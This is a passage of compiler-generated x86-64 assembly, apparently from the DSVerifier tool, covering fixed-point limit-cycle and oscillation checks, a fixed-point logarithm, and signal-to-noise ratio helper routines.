add DWORD PTR -16[rbp], 1
.L450:
mov eax, DWORD PTR -24[rbp]
sub eax, 1
cmp DWORD PTR -16[rbp], eax
jl .L451
mov eax, DWORD PTR -24[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -48[rbp]
add rdx, rax
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rdx], rax
mov eax, DWORD PTR -24[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR [rax], xmm0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE73:
.size shiftLboth, .-shiftLboth
.globl shiftRboth
.type shiftRboth, @function
shiftRboth:
.LFB74:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov QWORD PTR -40[rbp], rsi
mov QWORD PTR -48[rbp], rdx
mov DWORD PTR -24[rbp], ecx
mov eax, DWORD PTR -24[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -24[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -12[rbp], xmm0
mov eax, DWORD PTR -24[rbp]
sub eax, 1
mov DWORD PTR -16[rbp], eax
jmp .L453
.L454:
mov eax, DWORD PTR -16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
mov edx, DWORD PTR -16[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -48[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov eax, DWORD PTR -16[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -16[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
sub DWORD PTR -16[rbp], 1
.L453:
cmp DWORD PTR -16[rbp], 0
jg .L454
mov rax, QWORD PTR -48[rbp]
mov rdx, QWORD PTR -40[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -32[rbp]
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR [rax], xmm0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE74:
.size shiftRboth, .-shiftRboth
.globl order
.type order, @function
order:
.LFB75:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -8[rbp]
jle .L456
mov eax, DWORD PTR -4[rbp]
sub eax, 1
jmp .L458
.L456:
mov eax, DWORD PTR -8[rbp]
sub eax, 1
.L458:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE75:
.size order, .-order
.globl fxp_check_limit_cycle
.type fxp_check_limit_cycle, @function
fxp_check_limit_cycle:
.LFB76:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -28[rbp], 0
mov DWORD PTR -24[rbp], 1
mov eax, DWORD PTR -44[rbp]
sub eax, 2
mov DWORD PTR -28[rbp], eax
jmp .L460
.L464:
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
cmp QWORD PTR -8[rbp], rax
je .L471
add DWORD PTR -24[rbp], 1
sub DWORD PTR -28[rbp], 1
.L460:
cmp DWORD PTR -28[rbp], 0
jns .L464
jmp .L463
.L471:
nop
.L463:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -44[rbp]
je .L465
cmp DWORD PTR -24[rbp], 1
je .L465
mov eax, 1
jmp .L466
.L465:
mov eax, 0
.L466:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov eax, DWORD PTR -24[rbp]
mov esi, eax
lea rdi, .LC20[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -24[rbp]
add eax, eax
mov DWORD PTR -16[rbp], eax
mov DWORD PTR -20[rbp], 0
mov eax, DWORD PTR -44[rbp]
sub eax, 1
mov DWORD PTR -28[rbp], eax
jmp .L467
.L470:
mov eax, DWORD PTR -44[rbp]
sub eax, DWORD PTR -24[rbp]
cmp DWORD PTR -28[rbp], eax
jl .L468
mov eax, DWORD PTR -28[rbp]
sub eax, DWORD PTR -24[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov rsi, rax
lea rdi, .LC21[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -28[rbp]
sub eax, DWORD PTR -24[rbp]
mov DWORD PTR -12[rbp], eax
cmp DWORD PTR -12[rbp], 0
jle .L469
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
sub eax, DWORD PTR -24[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
cmp rdx, rax
jne .L469
add DWORD PTR -20[rbp], 2
.L468:
sub DWORD PTR -28[rbp], 1
.L467:
cmp DWORD PTR -28[rbp], 0
jns .L470
.L469:
cmp DWORD PTR -20[rbp], 0
setg al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov eax, DWORD PTR -16[rbp]
mov esi, eax
lea rdi, .LC22[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -20[rbp]
mov esi, eax
lea rdi, .LC23[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -16[rbp]
sete al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov edi, 0
call __DSVERIFIER_assert
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE76:
.size fxp_check_limit_cycle, .-fxp_check_limit_cycle
.globl fxp_check_persistent_limit_cycle
.type fxp_check_persistent_limit_cycle, @function
fxp_check_persistent_limit_cycle:
.LFB77:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 88
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov QWORD PTR -120[rbp], rdi
mov DWORD PTR -124[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov DWORD PTR -92[rbp], 0
mov DWORD PTR -96[rbp], 0
mov DWORD PTR -88[rbp], 0
mov rax, QWORD PTR -120[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -80[rbp], rax
mov DWORD PTR -92[rbp], 0
jmp .L473
.L478:
mov eax, DWORD PTR -92[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
cmp QWORD PTR -80[rbp], rax
je .L474
add DWORD PTR -88[rbp], 1
jmp .L475
.L474:
cmp DWORD PTR -88[rbp], 0
jne .L494
add DWORD PTR -96[rbp], 1
.L475:
add DWORD PTR -92[rbp], 1
.L473:
mov eax, DWORD PTR -92[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L478
jmp .L477
.L494:
nop
.L477:
mov eax, DWORD PTR -96[rbp]
add DWORD PTR -88[rbp], eax
cmp DWORD PTR -88[rbp], 1
jle .L479
mov eax, DWORD PTR -124[rbp]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
cmp DWORD PTR -88[rbp], eax
jg .L479
mov eax, 1
jmp .L480
.L479:
mov eax, 0
.L480:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov eax, DWORD PTR -88[rbp]
mov rdx, rsp
mov rbx, rdx
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L481:
cmp rsp, rdx
je .L482
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L481
.L482:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L483
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L483:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -92[rbp], 0
jmp .L484
.L486:
mov eax, DWORD PTR -92[rbp]
cmp eax, DWORD PTR -88[rbp]
jge .L485
mov eax, DWORD PTR -92[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
mov rcx, QWORD PTR [rax]
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -92[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], rcx
.L485:
add DWORD PTR -92[rbp], 1
.L484:
mov eax, DWORD PTR -92[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L486
mov DWORD PTR -92[rbp], 0
mov DWORD PTR -84[rbp], 0
mov BYTE PTR -97[rbp], 0
jmp .L487
.L491:
mov eax, DWORD PTR -92[rbp]
lea edx, 1[rax]
mov DWORD PTR -92[rbp], edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
mov rcx, QWORD PTR [rax]
mov eax, DWORD PTR -84[rbp]
lea edx, 1[rax]
mov DWORD PTR -84[rbp], edx
mov rdx, QWORD PTR -64[rbp]
cdqe
mov rax, QWORD PTR [rdx+rax*8]
cmp rcx, rax
jne .L488
mov BYTE PTR -97[rbp], 1
mov eax, DWORD PTR -84[rbp]
cmp eax, DWORD PTR -88[rbp]
jne .L487
jmp .L493
.L488:
mov BYTE PTR -97[rbp], 0
jmp .L490
.L493:
mov DWORD PTR -84[rbp], 0
.L487:
mov eax, DWORD PTR -92[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L491
.L490:
movzx eax, BYTE PTR -97[rbp]
test eax, eax
setne al
xor eax, 1
movzx eax, al
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
mov rsp, rbx
nop
mov rax, QWORD PTR -56[rbp]
sub rax, QWORD PTR fs:40
je .L492
call __stack_chk_fail@PLT
.L492:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE77:
.size fxp_check_persistent_limit_cycle, .-fxp_check_persistent_limit_cycle
.globl fxp_check_oscillations
.type fxp_check_oscillations, @function
fxp_check_oscillations:
.LFB78:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 3
lea rcx, -8[rax]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
cmp rdx, rax
je .L496
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 3
lea rcx, -16[rax]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
cmp rdx, rax
je .L496
mov eax, 1
jmp .L497
.L496:
mov eax, 0
.L497:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov DWORD PTR -24[rbp], 0
mov DWORD PTR -20[rbp], 0
mov DWORD PTR -16[rbp], 2
jmp .L498
.L505:
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -8[rbp], eax
mov DWORD PTR -12[rbp], 0
jmp .L499
.L504:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -8[rbp]
jle .L500
mov DWORD PTR -24[rbp], 0
mov DWORD PTR -20[rbp], 0
.L500:
mov edx, DWORD PTR -12[rbp]
mov eax, DWORD PTR -8[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -44[rbp]
jge .L506
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -4[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
cmp rdx, rax
jne .L502
add DWORD PTR -20[rbp], 1
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -8[rbp]
setne al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
.L502:
add DWORD PTR -24[rbp], 1
add DWORD PTR -12[rbp], 1
.L499:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L504
jmp .L503
.L506:
nop
.L503:
add DWORD PTR -16[rbp], 1
.L498:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L505
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE78:
.size fxp_check_oscillations, .-fxp_check_oscillations
.globl fxp_ln
.type fxp_ln, @function
fxp_ln:
.LFB79:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -8[rbp], 681391
cmp DWORD PTR -20[rbp], 32767
jg .L508
sal DWORD PTR -20[rbp], 16
sub DWORD PTR -8[rbp], 726817
.L508:
cmp DWORD PTR -20[rbp], 8388607
jg .L509
sal DWORD PTR -20[rbp], 8
sub DWORD PTR -8[rbp], 363409
.L509:
cmp DWORD PTR -20[rbp], 134217727
jg .L510
sal DWORD PTR -20[rbp], 4
sub DWORD PTR -8[rbp], 181704
.L510:
cmp DWORD PTR -20[rbp], 536870911
jg .L511
sal DWORD PTR -20[rbp], 2
sub DWORD PTR -8[rbp], 90852
.L511:
cmp DWORD PTR -20[rbp], 1073741823
jg .L512
sal DWORD PTR -20[rbp]
sub DWORD PTR -8[rbp], 45426
.L512:
mov eax, DWORD PTR -20[rbp]
sar eax
mov edx, eax
mov eax, DWORD PTR -20[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
js .L513
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -20[rbp], eax
sub DWORD PTR -8[rbp], 26573
.L513:
mov eax, DWORD PTR -20[rbp]
sar eax, 2
mov edx, eax
mov eax, DWORD PTR -20[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
js .L514
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -20[rbp], eax
sub DWORD PTR -8[rbp], 14624
.L514:
mov eax, DWORD PTR -20[rbp]
sar eax, 3
mov edx, eax
mov eax, DWORD PTR -20[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
js .L515
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -20[rbp], eax
sub DWORD PTR -8[rbp], 7719
.L515:
mov eax, DWORD PTR -20[rbp]
sar eax, 4
mov edx, eax
mov eax, DWORD PTR -20[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
js .L516
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -20[rbp], eax
sub DWORD PTR -8[rbp], 3973
.L516:
mov eax, DWORD PTR -20[rbp]
sar eax, 5
mov edx, eax
mov eax, DWORD PTR -20[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
js .L517
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -20[rbp], eax
sub DWORD PTR -8[rbp], 2017
.L517:
mov eax, DWORD PTR -20[rbp]
sar eax, 6
mov edx, eax
mov eax, DWORD PTR -20[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
js .L518
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -20[rbp], eax
sub DWORD PTR -8[rbp], 1016
.L518:
mov eax, DWORD PTR -20[rbp]
sar eax, 7
mov edx, eax
mov eax, DWORD PTR -20[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
js .L519
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -20[rbp], eax
sub DWORD PTR -8[rbp], 510
.L519:
mov edx, DWORD PTR -20[rbp]
mov eax, -2147483648
sub eax, edx
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -20[rbp]
sar eax, 15
sub DWORD PTR -8[rbp], eax
mov eax, DWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE79:
.size fxp_ln, .-fxp_ln
.globl fxp_log10_low
.type fxp_log10_low, @function
fxp_log10_low:
.LFB80:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 24
movsd QWORD PTR -24[rbp], xmm0
movsd xmm1, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR .LC28[rip]
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
cvttsd2si eax, xmm0
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov edi, eax
call fxp_ln
mov DWORD PTR -8[rbp], eax
mov edi, 655360
call fxp_ln
mov DWORD PTR -4[rbp], eax
pxor xmm0, xmm0
cvtsi2sd xmm0, DWORD PTR -8[rbp]
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -4[rbp]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE80:
.size fxp_log10_low, .-fxp_log10_low
.globl fxp_log10
.type fxp_log10, @function
fxp_log10:
.LFB81:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 8
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
comisd xmm0, QWORD PTR .LC29[rip]
jbe .L531
movsd xmm0, QWORD PTR -8[rbp]
comisd xmm0, QWORD PTR .LC30[rip]
jbe .L532
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC30[rip]
divsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -8[rbp]
movq xmm0, rax
call fxp_log10_low
movsd xmm1, QWORD PTR .LC31[rip]
addsd xmm0, xmm1
movq rax, xmm0
jmp .L528
.L532:
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC29[rip]
divsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -8[rbp]
movq xmm0, rax
call fxp_log10_low
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movq rax, xmm0
jmp .L528
.L531:
mov rax, QWORD PTR -8[rbp]
movq xmm0, rax
call fxp_log10_low
movq rax, xmm0
.L528:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE81:
.size fxp_log10, .-fxp_log10
.section .rodata
.align 8
.LC33:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
.LC34:
.string "sv >= nv"
.text
.globl snrVariance
.type snrVariance, @function
snrVariance:
.LFB82:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov DWORD PTR -68[rbp], edx
pxor xmm0, xmm0
movsd QWORD PTR -40[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -32[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -16[rbp], xmm0
mov DWORD PTR -44[rbp], 0
jmp .L534
.L535:
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
cvtss2sd xmm0, xmm0
movsd xmm1, QWORD PTR -40[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
cvtss2sd xmm0, xmm0
movsd xmm1, QWORD PTR -32[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
add DWORD PTR -44[rbp], 1
.L534:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -68[rbp]
jl .L535
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -68[rbp]
movsd xmm0, QWORD PTR -40[rbp]
divsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -68[rbp]
movsd xmm0, QWORD PTR -32[rbp]
divsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
mov DWORD PTR -44[rbp], 0
jmp .L536
.L537:
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
cvtss2sd xmm0, xmm0
movapd xmm1, xmm0
subsd xmm1, QWORD PTR -40[rbp]
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
cvtss2sd xmm0, xmm0
subsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
cvtss2sd xmm0, xmm0
movapd xmm1, xmm0
subsd xmm1, QWORD PTR -32[rbp]
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
cvtss2sd xmm0, xmm0
subsd xmm0, QWORD PTR -32[rbp]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -16[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
add DWORD PTR -44[rbp], 1
.L536:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -68[rbp]
jl .L537
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -16[rbp]
jp .L542
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -16[rbp]
je .L543
.L542:
movsd xmm0, QWORD PTR -24[rbp]
comisd xmm0, QWORD PTR -16[rbp]
jnb .L540
lea rcx, __PRETTY_FUNCTION__.18[rip]
mov edx, 373
lea rsi, .LC33[rip]
lea rdi, .LC34[rip]
call __assert_fail@PLT
.L540:
movsd xmm0, QWORD PTR -24[rbp]
divsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
cvtsd2ss xmm0, QWORD PTR -8[rbp]
jmp .L541
.L543:
movss xmm0, DWORD PTR .LC35[rip]
.L541:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE82:
.size snrVariance, .-snrVariance
.globl snrPower
.type snrPower, @function
snrPower:
.LFB83:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov DWORD PTR -52[rbp], edx
pxor xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -16[rbp], xmm0
mov DWORD PTR -28[rbp], 0
jmp .L545
.L546:
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
cvtss2sd xmm0, xmm0
movsd xmm1, QWORD PTR -24[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm1
cvtss2sd xmm0, xmm0
movsd xmm1, QWORD PTR -16[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
add DWORD PTR -28[rbp], 1
.L545:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -52[rbp]
jl .L546
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -16[rbp]
jp .L551
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -16[rbp]
je .L552
.L551:
movsd xmm0, QWORD PTR -24[rbp]
comisd xmm0, QWORD PTR -16[rbp]
jnb .L549
lea rcx, __PRETTY_FUNCTION__.17[rip]
mov edx, 394
lea rsi, .LC33[rip]
lea rdi, .LC34[rip]
call __assert_fail@PLT
.L549:
movsd xmm0, QWORD PTR -24[rbp]
divsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
cvtsd2ss xmm0, QWORD PTR -8[rbp]
jmp .L550
.L552:
movss xmm0, DWORD PTR .LC35[rip]
.L550:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE83:
.size snrPower, .-snrPower
.section .rodata
.LC38:
.string "power >= 1.0f"
.text
.globl snrPoint
.type snrPoint, @function
snrPoint:
.LFB84:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov DWORD PTR -52[rbp], edx
pxor xmm0, xmm0
movsd QWORD PTR -16[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -20[rbp], 0
jmp .L554
.L561:
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
pxor xmm1, xmm1
ucomiss xmm0, xmm1
jp .L555
pxor xmm1, xmm1
ucomiss xmm0, xmm1
je .L563
.L555:
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
